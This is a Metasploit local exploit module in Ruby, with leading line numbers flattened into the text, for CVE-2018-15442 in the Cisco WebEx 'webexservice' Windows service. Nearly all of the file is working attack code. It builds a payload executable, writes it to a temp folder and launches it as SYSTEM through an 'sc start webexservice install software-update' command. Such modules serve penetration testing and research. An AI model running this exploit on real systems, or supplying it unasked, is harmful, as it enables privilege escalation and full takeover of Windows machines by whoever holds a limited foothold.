1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Services include Msf::Post::Windows::Accounts def initialize(info={}) super( update_info( info, 'Name'=> 'WebEx Local Service Permissions Exploit', 'Description' => %q{ This module exploits a flaw in the 'webexservice' Windows service, which runs as SYSTEM, can be used to run arbitrary commands locally, and can be started by limited users in default installations. }, 'References' => [ ['URL', 'https://webexec.org'], ['CVE', '2018-15442'] ], 'DisclosureDate' => "Oct 09 2018", 'License'=> MSF_LICENSE, 'Author' => [ 'Jeff McJunkin <jeff.mcjunkin[at]gmail.com>' ], 'Platform' => [ 'win'], 'Targets'=> [ [ 'Automatic', {} ], [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'SessionTypes' => [ "meterpreter" ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'WfsDelay' => 5, 'ReverseConnectRetries' => 255 }, 'DefaultTarget'=> 0 )) register_options([ OptString.new("DIR", [ false, "Specify a directory to plant the EXE.", "%SystemRoot%\\Temp"]) ]) @service_name = 'webexservice' end def validate_arch return target unless target.name == 'Automatic' case sysinfo['Architecture'] when 'x86' fail_with(Failure::BadConfig, 'Invalid payload architecture') if payload_instance.arch.first == 'x64' vprint_status('Detected x86 system') return targets[1] when 'x64' vprint_status('Detected x64 system') return targets[2] end end def check_service_exists?(service) srv_info = service_info(service) if srv_info.nil? vprint_warning("Unable to enumerate services.") return false end if srv_info && srv_info[:display].empty? vprint_warning("Service #{service} does not exist.") return false else return true end end def check unless check_service_exists?(@service_name) return Exploit::CheckCode::Safe end srv_info = service_info(@service_name) vprint_status(srv_info.to_s) case START_TYPE[srv_info[:starttype]] when 'Disabled' vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") return Exploit::CheckCode::Safe when 'Manual' vprint_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") return Exploit::CheckCode::Safe when 'Auto' vprint_good("Service is set to Automatically start...") end if check_search_path return Exploit::CheckCode::Safe end return Exploit::CheckCode::Appears end def check_write_access(path) perm = check_dir_perms(path, @token) if perm and perm.include?('W') print_good("Write permissions in #{path} - #{perm}") return true elsif perm vprint_status ("Permissions for #{path} - #{perm}") else vprint_status ("No permissions for #{path}") end return false end def exploit begin @token = get_imperstoken rescue Rex::Post::Meterpreter::RequestError vprint_error("Error while using get_imperstoken: #{e}") end fail_with(Failure::Unknown, "Unable to retrieve token.") unless @token if is_system? fail_with(Failure::Unknown, "Current user is already SYSTEM, aborting.") end print_status("Checking service exists...") if !check_service_exists?(@service_name) fail_with(Failure::NoTarget, "The service doesn't exist.") end if is_uac_enabled? print_warning("UAC is enabled, may get false negatives on writable folders.") end # Use manually selected Dir file_path = datastore['DIR'] @exe_file_name = Rex::Text.rand_text_alphanumeric(8) @exe_file_path = "#{file_path}\\#{@exe_file_name}.exe" service_information = service_info(@service_name) # Check architecture valid_arch = validate_arch exe = generate_payload_exe(:arch => valid_arch.arch) # # Drop the malicious executable into the path # print_status("Writing #{exe.length.to_s} bytes to #{@exe_file_path}...") begin write_file(@exe_file_path, exe) register_file_for_cleanup(@exe_file_path) rescue Rex::Post::Meterpreter::RequestError => e # Can't write the file, can't go on fail_with(Failure::Unknown, e.message) end # # Run the service # print_status("Launching service...") res = cmd_exec("cmd.exe", "/c sc start webexservice install software-update 1 #{@exe_file_path}") if service_restart(@service_name) print_status("Service started...") else service_information = service_info(@service_name) if service_information[:starttype] == START_TYPE_AUTO if job_id print_status("Unable to start service, handler running waiting for a reboot...") while(true) break if session_created? select(nil,nil,nil,1) end else fail_with(Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...") end else fail_with(Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") end end end end |